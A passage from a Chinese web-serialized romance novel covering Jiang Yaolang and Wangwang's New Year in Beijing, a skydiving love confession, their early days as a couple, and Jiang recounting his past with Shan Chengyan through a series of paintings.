“总之我不是那个意思。”望望急得团团转,第一次觉得自己嘴笨得可以。
也就在这时,江瑶浪打着哈欠,趿拉着拖鞋从房间走出,他先对小玲姐问好:“小玲姐早,新年快乐。”
接着又看向冒汗的望望,问:“怎么了这是?”
望望支支吾吾半天答不上来。
于是江瑶清笑嘻嘻地说:“没事呢哥,我就是八卦一下你们俩的情况。”
“啊。”江瑶浪了然,他抱臂靠在门框,“欺负他了?”
“哪有啊,”江瑶清凑近哥哥,嬉笑着撒娇,“就是问了两句啦。”
江瑶浪刚睡醒的时候说话带点鼻音,黏黏的,他伸手捏捏妹妹的脸:“欺负他挺好玩的吧?”
“放心问吧,”江瑶浪又揉揉妹妹的脸,“他中文挺好的。”
结果这话不知道戳中了她们哪个笑点,江瑶清和小玲姐又大笑起来,而望望也不敢再看江瑶浪,目光躲闪到处乱瞄。
见状,江瑶浪轻笑一声。
然后他伸了个长长的懒腰,往浴室走:“我先去刷个牙,再煮饺子给你们吃。”
江瑶浪进了浴室,望望也立马从沙发上站起大步往浴室走,赶在江瑶浪关门前和他对视。
“干嘛,还想帮我扶着啊?”
“可以的,天使。”说这种话的时候,望望的脸倒是不会红,他甚至期待地伸手去勾江瑶浪松散的裤带。
江瑶浪自然是毫不留情拍落他捣乱的手,再抬手拍拍他的脸:“小老外,收着点,我妹妹和长辈都在呢。”
然后他用力一推,把望望推远后立即关上浴室门。
黏黏的声音从门后清晰传来:“老实等着吧。”
*
江瑶浪去煮饺子的时候,望望又跟着,见望望跟着,江瑶清也一脸坏笑地跟上,江瑶清都跟上了,那小玲姐当然也紧随其后。
于是乎,江瑶浪转身拿围裙的时候,就看到身后站了一行人。
他神色无奈:“干嘛呢干嘛呢。”
“报告!”江瑶清立正敬礼,“我看到有人鬼鬼祟祟地跟在哥哥身后,为了保护哥哥,我坚定地选择尾随探查!”
“报告!”小玲姐也立正敬礼,“我看到尾随者人高马大的,担心小清打不过,为了保护她,我选择跟在她身后!”
“啊?”突然背了两口锅的望望很绝望,但他还是只能立正敬礼,“报告!我没有恶意,只是想找天使学习煮饺子的技巧!”
他们三个站得一个比一个直,把江瑶浪气得笑弯了腰。
笑着笑着又觉得不好意思,他一掌拍在望望的大臂上,娇嗔:“都怪你!”
江瑶清收着力也跟着拍了望望一掌,阴阳怪气:“都怪你!”
然后成功收获了一只满脸不可置信的哥哥。
“小清,你居然笑哥哥?”
江瑶浪的表情难得生动,江瑶清只觉得开心,她朝哥哥做了个鬼脸,小脸皱巴巴,又成功把江瑶
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浪逗乐。
“我说,要不然你们来煮?”江瑶浪半举着围裙,“谁来接手?”
“嘻嘻,那不用,不打扰哥哥咯。”识趣的江瑶清拉着小玲姐往回走。
而临走前,小玲姐还敏捷地对望望做了个打气的动作:“加油哇小伙子。”
江瑶浪瞄了还在原地杵着的望望一眼,然后动手把他往外推:“你也给我走。”
被驱逐的望望笑着托起推他的小臂,大手顺势往下摸,圈住他的腰,把江瑶浪抱进怀里,紧接着用脸蹭他的发顶:“天使,要抱抱。”
刚抱上没一会儿呢,客厅就传来了不怀好意的阵阵笑声。
“你烦死了。”江瑶浪揪望望的耳朵,却把脸埋进他的怀里。
“嗯。”望望把江瑶浪单手抱起进入厨房,用空着的手关上了门,隔绝她们俩打探的目光,
他先亲亲江瑶浪手腕上的小羊金珠,再低头亲江瑶浪:“天使,要亲亲。”
江瑶浪红着脸和他接吻,又揪了揪他的耳朵。
*
吃过饺子后,江瑶浪准备带望望出门逛逛,他看向江瑶清和小玲姐,问:“要一起出去走走吗?”
江瑶清和小玲姐果断摇摇头,异口同声:“这种人挤人的活动还是留给你们吧。”
江瑶浪穿上外套,围好围巾,把手揣兜里,说:“那行,我一会儿就回来了。”
结果她们再次异口同声:“也可以不回来的!”
“想得美,”江瑶浪哼笑,“还得给你们煮饺子呢。”
江瑶浪指挥望望打开门,而在关门后的下一秒,望望就把手伸进江瑶浪的衣兜里,掏出他的手往自己衣兜塞。
等他塞好后,江瑶浪用眼神示意无法容纳两人并肩的窄窄楼梯:“你说,我们要怎么下去呢。”
“我背你,好不好?”望望给出自己的回答。
“好个鬼。”江瑶浪把手抽回来,重新揣回自己的兜里,迈步下楼梯。
到楼下后,望望又往江瑶浪兜里掏,这次江瑶浪没有拒绝,十分顺从地把手放进他的兜里。
江瑶浪也不喜欢去人挤人,但他想着望望好不容易来一次,来都来了,总得看看吧。
于是他把望望带去了景山公园,他们来的时间点不算热门,人还没有很多,上山也不需要排队。
江瑶浪指着头顶挂起来的装饰灯笼,对望望说:“看,这就是大红灯笼。”
“嗯嗯。”望望点头。
走了一会,江瑶浪指着成行的摊位:“简易版庙会。”
“嗯嗯。”望望又点头。
他们来到山顶的观景点,江瑶浪向南指:“故宫,你可以拍照打卡了。”
“好的!”望望听话地拿出手机拍照。
等他拍好后,江瑶浪指向北:“钟楼鼓楼和奥林匹克塔!”
望望捏着手机猛猛拍。
江瑶浪把手往西边指:“那边就是北海公园和白塔了。”
望望对着远处的建筑库库拍。
最后他把手指往东边:“最后一个,国贸CBD!”
“哇塞!太厉害啦!”望望捧场地边夸边拍。
自觉完成导游任务的江瑶浪把手放回望望的兜里,说:“好了,现在你都看完了,我们可以回去了。”
望望失笑,没觉得江瑶浪敷衍他,只觉得江瑶浪真是可爱。
他把镜头翻转,和江瑶浪脸贴脸挤入画面:“不是最后,还有一个最棒的景点。”
“就在我身边呢。”
45.第 45 章
难得回一次北京,总得和温绍臣见一面的。
正好温绍臣说想吃他做的梅子蛋糕,他就把人约在了小玲姐的甜品店。
江瑶浪拿手机拍拍望望的脸,问:“小老外,你是想自己出去人挤人,还是想和我一起做店员?”
望望没有丝毫犹豫:“我当然是要和天使一起做店员的。”
“那走吧。”
江瑶浪问小玲姐要了钥匙,店里的材料都很齐全,日期新鲜,最主要的青梅酱也没坏。
江瑶浪举起手中只装了一小半的玻璃小罐子,朝望望示意:“我做的。”
“之前做的果酱都留不了太久,后来我学了网上的消毒密封方法,才成功让它们存活到现在。”江瑶浪对望望说起他自制果酱的经历,然后他开始提问,“知道为什么我没有把罐子装满吗?”
“因为开盖后就得尽快吃完?”望望说出自己的猜测。
江瑶浪点点头:“小老外真聪明。”
“第一次做的时候没轻没重的,装满了一个大罐子,结果吃不完,没过多久就全坏了。”江瑶浪皱眉说起失败的尝试,“心疼死我了,那么一大罐呢。”
“好可惜,如果那时候我在就好了,我一定会把天使做的果酱都吃完。”
“你在也吃不完。”江瑶浪伸手比划了一下那个罐子的大小,“除非是当饭吃。”
“那我就当饭吃嘛。”
江瑶浪哼了一声,用勺子挖了一勺酱塞望望嘴里,用行动打破他的幻想:“这能当饭吃啊?”
入嘴的青梅酱很好吃,酸甜口,带着一丝咸味和紫苏的薄荷感。
望望将果酱舔舐干净后依然用舌头压着伸进嘴里的小勺,不让江瑶浪抽离,说:“对啊,不可以吗?”
“当然不可以啊。”
“为什么呢?天使。”望望又开始用舌头勾着勺头玩,把它玩得亮晶晶,黏糊糊。
江瑶浪用指尖摩挲勺柄,又敲了敲,敲击带来的细微震动传入望望的舌尖,勾出下一秒的内心震荡。
“因为我会心疼啊。”江瑶浪看向望望的目光坦然,仿佛只是随口一说。
闻言,望望呆住了,半响说不出话,只知道愣愣地张着嘴,被舔得发亮的勺体得以从嘴里解脱,又被江瑶浪及时接住。
“天、天使,你的意思,是我想的那个意思吗?”被惊喜砸懵的望望久久难回神,傻傻地向眼前人确认。
“什么意思啊?我说什么了吗?”替勺子主持公道的江瑶浪把勺头再次推入望望嘴里,一拍一顿,惩罚刚刚作乱的舌,“坏东西,欺负我的小勺子。”
心急的望望直接伸手握住江瑶浪握勺的手,再次询问:“就是同意我做你男朋友的意思。”
“是这样吗?天使?”
问出这句话时候,望望注视着江瑶浪的蓝眼睛是前所未有的明亮,喜悦在里面灵动地跳跃,逸散纷飞的蝴蝶。
蝴蝶闯入江瑶浪的眼中,他下意识眨眨眼,翘起的长睫轻而易举勾乱望望的心弦。
他又用手中的勺子拍拍望望的舌,说:“你不是说自己的中文很好吗?”
望望克制不住地大笑,然后猛地用手捂着脸蹲下疯狂深呼吸,身体一鼓一鼓,像一只蓬松着羽毛的雄鸟。
江瑶浪的勺子被他顺势牵走,他的目光也被勺子牵走,在捂脸的指间缝隙中,窥到望望因为兴奋而涨红的脸。
被他的情绪感染,江瑶浪后知后觉地察觉到自己上脸的羞涩,他把手揣进兜里,用脚尖踢了踢望望的脚。
受到催促的望望从地面弹起,他把江瑶浪抱起放在吧台上,他们鼻尖相触相蹭,望望在他的唇印上密密麻麻的亲吻。
“天使。”望望贴着江瑶浪的脸,说,“你不能这么轻易地答应我。”
“我还没有表白。”
江瑶浪侧过头咬他的下唇:“现在才说这些,是不是太晚了?”
“我的错。”望望用舌尖舔他的唇珠,“但我不会让你等太久。”
江瑶浪“嗯”了一声,抬腿圈住望望的腰,把他往自己怀里带了带,他抱着望望的头,问他:“跳伞,是一种什么样的感觉?”
望望伸手帮他打理微乱的发,回答:“第一次跳可能会有些害怕,但是更多的是激动,在飞机上往外探的时候最刺激,一旦离开了舱体往下坠落的时候。”
“就只会感受到自由了。”望望梳理好江瑶浪的长发,继续说,“这种感觉会上瘾。”
“那穿过云层的时候呢?是什么感觉?”
“又湿又冷,混沌模糊,但绝大多数的云层都很浅,一闭眼一睁眼,再看到的景色是天地万物。”
“望望,”江瑶浪低头看向望望,“你带我跳伞好不好?”
“坠入云层的时候,你向我表白。”
“我会很快答应你,然后,我们藏进云里接吻。”
“天使,我心软的天使。”望望克制不住地吻上他,“你总是让我占了大便宜。”
*
他们俩黏黏糊糊地耽误了不少时间,在温绍臣推门而入的前一刻,江瑶浪才把蛋糕做好。
蛋糕胚是焙茶风味的海绵蛋糕,上面抹了厚厚的青梅酱香缇奶油,奶油和蛋糕体的中间是一层橙梨混合的水果夹心,蛋糕不大,造型简约,江瑶浪在蛋糕顶涂了一抹青梅酱,又种了一叶薄荷当作装饰。
他捧着蛋糕,向望望讨要夸奖:“我厉害吗?”
望望接过蛋糕帮他捧着,低头亲吻劳作的双手:“心灵手巧的天使,太厉害啦。”
江瑶浪笑笑,青梅酱气泡水做好后,他拿着饮品和杯子带着望望一起走出了吧台,坐在温绍臣对面。
江瑶浪给温绍臣切了一角蛋糕,又给他倒了杯气泡水,对着温绍臣说:“学长,快试试看。”
接过蛋糕的温绍臣没急着吃,而是指了指江瑶浪身旁的望望,问:“不先给我介绍一下嘛?”
“他叫望望,”江瑶浪牵起望望的手摇了摇,“很快就是我的男朋友了。”
随后他向望望介绍:“他是温绍臣,一个帮了我很多的,哥哥般的学长。”
温绍臣扬起黛眉,追问:“怎么认识的呢?”
“去年十二月,单承言带我去了特罗姆瑟,在那里我遇到了他,后来他对我念念不忘,又来到中国找到了我。”江瑶浪简单给温绍臣讲了下他们的初遇与重逢,又扭头对望望解释,“单承言就是Sweety。”
“在和他相处的过程中,我挺开心的,所以我觉得可以和他谈个恋爱试试。”
“单承言?”温绍臣疑惑,“他还能允许你们俩有交际?”
江瑶浪摇摇头:“不允许啊,可当时他莫名其妙生气跑出去了,我又正好是在他不在的时候遇到的望望。”
“所以说,”江瑶浪摊摊手,“这都是天意。”
闻言,温绍臣克制不住地笑出了声:“谁让他少爷病发作。”
“不聊他,破坏气氛。”温绍臣挥手把单承言踢出话题,用叉子点了点对面的望望,“要对他好哦,不然你就是逃回国外,我也能一叉子叉死你。”
被威胁的望望牵紧了江瑶浪的手,承诺:“我会在他身边保护他,爱护他,直到他松开我的手,不再需要我的那一天。”
温绍臣勾勾唇,叉起蛋糕吃进嘴里,然后眼睛亮亮地看向江瑶浪:“还是小学弟做的梅子蛋糕最好吃,别的地方都吃不到这个味道。”
收到表扬的江瑶浪很开心,他问:“给学长的那些青梅酱吃完了吗?”
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“还有啦,你给我做了这么多,哪里这么快能吃完。”
“嗯。”江瑶浪点点头,“明年我还给学长做。”
他们断断续续地聊了不少话题,分着吃完了蛋糕,喝光了气泡水,在欢声笑语里迎来夜色。
临别前,温绍臣摸摸江瑶浪的头:“我很开心,你愿意把望望介绍给我认识。”
“要一直幸福下去哦,小学弟。”
“我会的。”江瑶浪说,“学长也是,要开心自由。”
温绍臣走后,望望张开双手把江瑶浪的双手包入手心,道出忍耐许久的担忧:“那一天,Sweety为难你了,是吗?”
江瑶浪摇摇头,笑笑:“都过去啦。”
他越不在意,望望就越难受,他贴近江瑶浪,满眼疼惜:“我应该再大胆一点,把你从风雪里偷走。”
江瑶浪蹭蹭他,说:“可那时候的我还不能走。”
*
望望选了个适合云海跳伞的天气,带着江瑶浪上了飞机。
飞机嗡动着爬升,海拔表的数字也在向上跳跃,江瑶浪不受控地握紧了望望的手,换来他安慰性质的亲吻。
“天使,不要怕,我在你身后呢。”
舱门打开的瞬间,冷风呼啸着灌入,把江瑶浪的理智吹得摇摇欲坠,他紧张得忘记呼吸,愣愣地看向下方的云海。
望望轻捏他的下巴,带着江瑶浪转向自己,他再次吻上江瑶浪因为害怕而颤抖的唇,为他渡气,教他呼吸。
他紧紧抱着江瑶浪,用动作和目光鼓励他,然后,带着他从机舱一跃而下。
瞬间侵蚀全身的失重感让江瑶浪的心脏忘记跳动,巨大的风噪让他失去感知。
直到耳朵上传来持续不断的温热,才成功唤回了他的意识。
望望在舔舐他的耳朵。
这个念头产生后的下一瞬,他们就坠入云海。
正如望望所说,水汽掠过身体,又湿又冷,世界是一片混沌的纯白。
而在模糊不清的云里,江瑶浪感受到望望不断张合的嘴唇。
看到他朝自己伸出的手。
那只手不断变化着手势。
他先是伸出一根光秃秃的尾指,然后尾指收拢,食指和拇指大张,随后他收起食指,再次伸出尾指。
最后,他让食指再次立起,只收拢中指与无名指。
这个手势定格后,望望给了中指登场的机会,余下独自弯折的无名指,他交叠食指与中指,为江瑶浪比划出另一句爱语。
世界寂静无声,爱意无需言语。
我爱你,我真的爱你。
坠出云层的最后一秒,江瑶浪吻上了望望的唇。
望望在云里向他表白,他会很快答应。
然后他们藏进云里接吻。
降落伞被打开,望望的爱语传进江瑶浪的耳里。
与向上牵引的拉力一样,巨大又温柔。
望望依然舔咬着他的耳朵,他说:“江瑶浪!我——爱——你——”
江瑶浪张开双臂,拥抱身下的绿野海洋,他在天空里大喊着回应。
“Casper!我——答——应——你——了——”
*
双脚触碰到草地时,江瑶浪的腿在克制不住地发抖,他软着身体踉跄着往前走,然后在倒下的瞬间被望望接入怀中。
望望抱起他,浅笑着对他说:“天使从空中降落,成为了上岸的小美人鱼。”
他附身含住江瑶浪颈侧的肌肤,用舌头将其舔热舔软:“但我不是王子,我是陪伴着你的另一尾人鱼。”
闻言,江瑶浪用轻颤的指尖挑起他的下颚,与他唇舌交缠。
“望望,你还是我的男朋友。”
46.第 46 章
“望望天使派”和“江瑶浪”同时更新了一条舞蹈视频。
“望望天使派”给该视频的配文是:他答应我啦。
而“江瑶浪”的配文非常简单,只有一个字:对。
视频画面里是蓝天,白云,海洋,草地,降落伞。
以及在跳《Se?orita》的两个人。
这次的舞蹈氛围与以往的双人舞不同,其中主要差异在江瑶浪身上。
自从江瑶浪开始学跳舞后,他经常与望望同跳,但每次都是用一种要把他跳赢的态度来舞蹈,不管是动作的开合、力度还是表情,占比更多的其实是好胜心。
而这支舞里的江瑶浪不再好胜,他在开心地享受,享受舞蹈的本身,更享受他的舞伴。
他们用肢体代替言语尽情地挑逗与应和,在贴近与互动中默契地相视一笑,然后超越舞伴的界限,缠绵依恋。
他们因舞蹈动作短暂分离,转身后的望望很快张开双臂迎接,迎接小跑着跳进他怀里的江瑶浪。
望望把怀中的江瑶浪高高抱起,江瑶浪用双腿紧紧圈住望望的腰,在俯身索吻前,江瑶浪抬手撩起遮挡视线的长发,他在用这个真实的吻告诉所有观众,现在的他们,是恋人。
视频发出去后,他们没有关注任何评论,而是在手牵手谈恋爱。
*
恋爱和暧昧期是不一样的,暧昧期的两人都在较着劲地散发魅力,可当身份得到转变后,他们却只会纯情地牵着手。
他们可以旁若无人地对外亲密,然而在世界真的只剩下两个人后,他们却一个比一个拘谨。
望望红着脸走在前方,江瑶浪低着头跟在他身后,只有时刻相连的双手彰显出两人的特殊关系。
“喂。”江瑶浪踢了踢前人的鞋跟,“你说话啊。”
“说,说什么好呢。”中文很好的望望仿佛重新回到了学习中文的第一天。
“我怎么知道你要说什么啊?”江瑶浪又踢踢他。
望望思考片刻,结结巴巴地问:“我,我背了很多情话,天使,你,你想听吗?”
“你能不能不要结巴了!”
“可是,我,我紧张。”
“结巴小老外!”江瑶浪生气地踩他的鞋跟,“之前不是很能说吗!”
“那,天使你想听情话吗?我背了很多。”被嫌弃的望望努力克制乱跳的心脏,再一次发出询问。
“土吗?”
“可能?”望望也不太确定,“在学习中文的时候,我收集了很多。”
他终于勇敢地转过身,牵起江瑶浪空着的另一只手:“我也不知道土不土,但是我都记下来了。”
江瑶浪还是低着头看自己的鞋尖:“那你说呗。”
“好,那我说了啊。”望望从脑子里选出最喜欢的一句,对着江瑶浪的发旋开口,“人生最大的幸福,是发现自己爱的人正好也爱着自己。”
闻言,江瑶浪从发间探出瞪他一眼:“张爱玲的你也觉得土啊?”
瞪完以后,他又很快缩了回去,继续低着头看两人相对的脚尖。
“那,那我换一句。”被瞪的望望又想结巴了,但他很努力地克制,“天使,我犯了一个错。”
“嗯。”江瑶浪回他一句鼻音。
“叫爱你不知所措。”
“然后呢?”江瑶浪问。
“没了,这句就是这么短。”望望仔仔细细地回忆,再次确定,“真的,就只有这些。”
“我是说,你不打算管管你的不知所措吗?”江瑶浪再次探出,看着他,“你的不知所措影响到我了!”
“我在努力了。”被江瑶浪看着,望望的脸越来越红,越来越红,“我,我真的在努力了。”
“可是,我只要一想到我现在是你的男朋友。”
“我就,我就,没办法思考。”
江瑶浪低着头,没说话。
望望却以为他在生气,顶着大红脸上前一步抱住江瑶浪:“对不起,我好没用。”
江瑶浪还是没说话,但他迅速伸手回抱,把自己闷进望望的怀里。
*
他们的恋爱尴尬期持续了整整一星期,率先恢复正常的是江瑶浪。
此时他们正分别占据着沙发的头尾两端,遥遥相望,小腿却紧紧相贴。
江瑶浪往望望那头挪了挪,哼笑着踩上望望的腹肌:“别人进入的都是热恋期,我们俩倒好。”
“该做的不该做的都做完了,才知道要矜持。”
“你说,是不是你的问题。”江瑶浪脚下用力,望望的腹肌被他越踩越硬。
望望认错的态度非常好:“是的,都怪我。”
江瑶浪上移脚尖,踩踩他的肩膀:“那你要怎么补偿我。”
望望竭力放松自己的身体,让他踩得更舒服:“天使想要什么都可以,我会尽量满足的。”
“尽量是什么意思啊?就是做不到呗。”江瑶浪又踩踩他,“是不是啊小老外?追到了就不珍惜了?”
“天使,我不是这个意思!”虽然清楚江瑶浪是在逗他玩,但望望依旧很心急,“我的意思是,在我能力范围内的,我都能给你。”
“这样啊,那我现在就有一样想要的。”
望望亲了亲他的脚踝,问:“天使想要什么呢?”
“我想吃加了很多土豆的咖喱饭,”江瑶浪看着望望,说出自己的需求,“你去给我做。”
听到江瑶浪的要求后,望望失笑,他又亲亲江瑶浪的脚踝:“只想要这个吗?”
“什么叫只啊,快去快去,我准备饿了!”
“好的,天使。”
答应下来的望望先伸手把江瑶浪的脚从自己的肩膀拿下,轻柔地放回沙发上,然后他起身走向江瑶浪,和他贴了贴脸,再走进厨房煮江瑶浪想吃的,加了很多土豆的咖喱。
饭后,两人去公园散步消食。
晚上的公园还是挺热闹的,多的是在玩器材或者跳广场舞的活力满满老年人。
江瑶浪指了指舞蹈方阵,对望望说:“中国广场舞文化,你不想去体验一下吗?”
望望先是站在原地观察学动作,记住大概后,他问江瑶浪:“天使想去吗?我们可以一起。”
“我才不要呢!你都把动作记牢了,就是想我一个人在上面出糗。”
“啊,”望望后知后觉自己犯了错,“没关系,我可以全部忘掉。”
他晃了晃两人牵在一起的手:“我们一起上去丢脸好不好?”
“我不要!”
于是望望又想了想,说:“那我上去丢脸,天使你在旁边看。”
“这样,你会开心一点吗?”
江瑶浪摇摇头,说:“肯定不会啊。”
望望还在想要换哪种方式哄他,江瑶浪已经主动轻挠他的手心:“哪有人喜欢看男朋友尴尬啊。”
“你好笨啊,天才小老外。
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眼前的江瑶浪又乖又甜,望望的心遭受暴击,克制不住地笑了又笑,然后他向江瑶浪提出申请:“天使,我可以亲你吗?”
江瑶浪轻哼一声,朝着望望嘟起嘴。
望望凑近他,藏进他的发间,避着人群悄悄吻他。
亲过后,他们又继续在公园溜达,江瑶浪眼尖地注意到公园的单杠不知道被谁栓了根绳子,绳子很长,垂落在地。
江瑶浪被这根莫名其妙的绳子戳中了笑点,笑倒在望望身上。
“望望,你说,栓根绳是干嘛。”江瑶浪拍拍望望的手臂,发出提问。
望望盯着那根绳思考了两分钟,给出回答:“可能,是绑腰的?锻炼的过程中如果失力滑落的话可以提供一定程度的缓冲?”
他可能也觉得这个理由有点扯,自己就先摇摇头否认:“天使,我想不出来,估计更大的可能是有人把绳子遗忘了,有好心人把它挂在了显眼处。”
“太搞笑了。”江瑶浪松开望望的手,走过去用力拽了拽那根绳子。
然后他起跳单手抓紧高处的绳子,在半空中荡来荡去。
晃荡的江瑶浪看向张开手准备时刻接住他的望望,孩子气地发问:“望望,如果我变成了一只只会摇绳的野人,你还会爱我吗?”
望望毫不犹豫地回答:“我会的,天使。”
江瑶浪松开手稳稳落地,走近望望踢他的脚:“回答得这么快,肯定没过脑。”
“嗯。”望望点点头,“因为是我的心在说话。”
这一句话把江瑶浪撩得小脸发烫,他又低下头,拉起望望就准备回家。
望望却盯着那根绳子若有所思,他主动喊停江瑶浪。
茫然的江瑶浪转头看他,问:“怎么了?”
望望指了指那根绳,说:“天使,我想到这根绳子能做什么了。”
于是江瑶浪松开他的手,用眼神示意他开始表演。
望望握住江瑶浪的肩,把他推到绳子的正对面,然后他一手握紧绳子,灵活地翻身而起,倒吊在绳子上。
他用空着的手包住江瑶浪的后脑,让他贴近自己。
亮晶晶的蓝眼睛看向颠倒的江瑶浪,他说:“蜘蛛侠的倒挂之吻。”
“天使要来体验一下吗!”
“小老外花样还挺多。”江瑶浪嘴上嫌弃,却还是很诚实地俯身吻上望望悬在半空的唇。
回家的路上,江瑶浪想起什么,他对望望比出蜘蛛侠发射蛛丝时的手势。
“望望!你看!”江瑶浪晃了晃自己的手,“这也是我爱你!”
望望也朝着江瑶浪做出那个手势,嘴里还模拟着吐丝的声音,江瑶浪了然地挑眉,假装自己被蛛丝捕获,转着圈倒进了望望的怀里。
“啊,被望望侠抓住了呢。”他抬头看望望,“我犯了什么罪呀?”
望望沉思两秒,语气正经:“盗窃罪。”
“天使只是看我一眼,就轻而易举地把我的心偷走了。”
江瑶浪最受不了这种情话,他打了个生理性的冷颤,然后抬手捂住望望的嘴:“你以后不能说这种类型的情话,太土太肉麻了。”
“我真的,有点受不了。”江瑶浪说着说着,又忍不住笑出来。
望望点点头,把江瑶浪的喜好记进心里,他亲亲江瑶浪的手心,承诺道:“我记住啦,以后我不说啦。”
“毕竟,天使爱听的,才算得上是情话呀。”
47.第 47 章
江瑶浪本想划走消息弹窗,却意外误点,被迫跳转到微博。
推送的内容占满屏幕,江瑶浪随意扫了一眼,却在看到人名后不自觉微愣,他下意识点开图片,一张张划过查看,然后他抬手叫来了望望。
“怎么了?天使。”望望很快走了过来,低头询问。
江瑶浪按灭手机,对他说:“你把平板拿过来。”
望望点头,拿到平板后又走回江瑶浪身边,把平板递给他。
江瑶浪没接,只是自己站起来,把望望推到蛋壳椅上,随后自己窝进他的怀里。
“怎么了?”望望总能敏锐地察觉到江瑶浪的情绪,他蹭蹭江瑶浪的头,抱着人安慰。
“给你看点东西。”江瑶浪解锁望望的平板,打开微博。
点进热搜里#单承言 低头#的词条后,他翻找了一会,找到最清晰最全的画作图片,然后示意望望看。
图片一共有九张,每一张画望望都看得很认真,尤其是介绍语。
等他看完,江瑶浪问:“什么感受?”
望望的情绪没有太大波动,只是说:“他把你画进了毕设里。”
“除此以外呢?”江瑶浪扭头看他,“你不好奇吗?”
“好奇,但天使不想说的话,我也不会问。”说得无所谓,但望望贴紧了江瑶浪,蹭了又蹭。
江瑶浪反手摸摸他的头,让他靠在自己的颈窝。
单承言的毕设系列名为《低头》,一共有九幅。
他点开第一幅,开始给望望讲述他们之间的过去。
画中的场景是他们初遇时的海洋馆,整体的色调深蓝神秘,唯有画面中央向下方人影送出珍珠的人鱼明艳夺目。
这幅画的介绍语是:你好,珍珠可以给我吗?
江瑶浪指着“珍珠”两个字,说:“第一次和他见面的时候,是在海洋馆,当时我已经下班了,他说他的侄女想看人鱼表演,就砸钱把我叫了回来加班。”
他亲亲望望的脸:“我不喜欢加班,所以,我对他没有好感。”
“但他的侄女很可爱,让我想到了小清,所以得知那天是她的生日后,我把表演用到的珍珠送了给她,小姑娘挺开心。”
“他问珍珠能不能给他,”江瑶浪给出自己的回答,“我会说不。”
第二幅画描绘了在云南餐厅中越过餐桌接吻的两人,面容依旧模糊不清,但动作很亲密,氛围很好。
这幅画的介绍语是:树番茄被我吃下,我可不可以爱你。
“海洋馆的初遇后,我们莫名其妙有了联系,我能感受到他对我有很高的兴趣,但也能感受到他是个直男,更清楚我们两个不合适。”
“我的工作很忙,他的邀约我也大多数拒绝,但,”江瑶浪轻叹,“也许我被他身上的自由与热爱所吸引,当时的我想试试。”
江瑶浪指着画中的菌子焖饭,说:“这个饭有点辣,所以我含了块蜜渍树番茄解辣。”
“接下来就是,他亲了我,然后问我,”江瑶浪闭上眼,更深地缩进望望的怀里,“问我,可不可以包养我。”
望望拥紧了江瑶浪,怜惜而细密地亲他。
“我当然没有答应,”江瑶浪睁开眼,继续说,“当时的我是穷,但也不至于要把自己卖出去。”
“我们不欢而散,回归各自的生活。”江瑶浪戳了戳那个“爱”字,“所以,我的回答是,他不可以爱我。”
第三幅的场景是楼梯间,长卷发人影的后方是白墙,前方是压近亲吻的另一人,他被困在中间,无法逃走。
这幅画的介绍语是:你问,为什么是我?我答,因为我爱你。
“在这个楼梯间,我答应了他。”江瑶浪先说出结果,再说明起因,“当时有一起恶□□故,在这次事故中,他救了小清,救了很多人。”
“他再一次向我说出包养提议,我没办法拒绝。”
“我只是问他,为什么一定是我,他要什么没有,为什么偏偏是我。”
“他说,”江瑶浪自嘲地笑笑,“他说我像他早死的白月光,让我给他的白月光当替身。”
闻言,望望更用力地抱进了他,江瑶浪能感受到自己的颈间传来隐隐湿意。
他拍拍望望的手,亲去他的泪,笑着开口:“望望,替身是假的,他没有早死的白月光,也没有把我当替身。”
“他只是觉得,我曾经拒绝过他,所以,他拉不下面子。”
“不然,就显得我太重要了。”江瑶浪说出当时单承言的心理,然后再一次拒绝他的求爱,“他说他爱我?可惜,我不信。”
第四幅,屋内的他们十指相扣,戒指在指间闪耀,屋外的初雪飘然而至。
这幅画的介绍语是:初雪落下前,我买好了戒指。
“不止这一晚,他总想上我,我都没同意,”江瑶浪捏捏望望的鼻子,“望望,你知道吗?其实我们两个更亲密。”
望望笑出声:“那他错过了好多。”
“他自认得到了我的人,所以想拍情侣官宣的照片,但当时的我们是没有戒指的,他不喜欢光秃秃的手指,想拉我出去买。”
“我当然没同意,怎么能随便就戴上戒指呢?我又不爱他。”
江瑶浪继续后翻图片,他指着介绍语,对望望说:“你看,这里有你。”
望望看着“来客”二字,冷笑:“真是抱歉啊,事实是没办法改变的。”
第五幅画出了他们未实现的骑行场景,长卷发的男人骑着AE86涂装的瓜车,与隔壁的GTR并排穿越大西洋之路。
这幅画的介绍语是:沿途很美,没有风雪与来客。
“单承言的爱好是骑行与涂装,在圈内很知名,他说要带我骑行的时候,我其实挺期待的,”江瑶浪说,“可你也知道,当时我生病了。”
“也许他觉得我是个累赘,他抛下了我,自己一个人去完成路线。”
“我其实很害怕被丢下,那种被抛弃的孤独感,让我感受到自卑。”
“我,”江瑶浪重复着强调,“我不喜欢被放弃。”
“天使,你很好,你很优秀,没有人会抛弃你。”望望舔湿他的耳朵,用指腹轻轻揉按,“我在你的身边,我一直都在。”
江瑶浪平复好情绪,往下说:“那段旅程,有风雪,有你,有极光,没有他,所以,其实也不错。”
“就是很可惜,你送我的手账和鲸鱼没有了。”
“没关系的,我会给你做很多鲸鱼,我们可以一起重新填满旅行手账,填很多本。”望望说,“只要你愿意。”
江瑶浪点头,说出第一站:“那先从厦门开始吧,我喜欢厦门。”
“好,接下来的旅程我也都听你的。”
第六幅画的是在花园里的举办发小聚会,他们亲密贴近,江瑶浪是人群中众星捧月的存在。
这幅画的介绍语是:他们是我的发小,你是我的爱人。
江瑶浪点了数个画上的人影,对望望介绍:“这些都是他的发小和朋友。”
望望指着被他遗漏的狼尾男孩,问:“那他呢?”
“他叫秦小添,是一个很可爱的男孩子,”江瑶浪笑笑,“如果我有弟弟,那我希望是他这种性格的。”
“在聚会中,我很尴尬,他们都知道我是单承言包养的人,所以看我的眼神让我很不适。”江瑶浪呼出一口气,“但幸好,有两个女孩子愿意为我解围。”
江瑶浪看着“爱人”两个字,摇摇头:“我怎么会是他的爱人呢?”
望望捧着江瑶浪的脸,深深吻他:“天使,我才是你的爱人。”
“嗯,望望才是我的男朋友。”
手指继续划动,翻出第七幅画。
这幅画和第一幅有点像,场景都是海洋馆,但这幅画的色调偏粉,氛围极其浪漫,水箱不再是障碍,他们在合起的爱心里闭眼接吻。
这幅画的介绍语是:二十四岁前,我说爱你,你在吻我。
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“那天是他的生日,他让我只为他游一场,我下水后,他又要求我朝他比心。”
“我都照做了,但我没有吻他。”江瑶浪说出那时的想法,“这太亲密了,不适合当时的我们。”
“我们可以亲吻,可以上床,但不适合这种太暧昧的互动,因为我不爱他,他也没有说爱我。”
“所以,望望。”江瑶浪又捏捏他的鼻子,“我愿意和你暧昧,是因为你喜欢我,而我同样喜欢你,我才不是什么随便的人呢。”
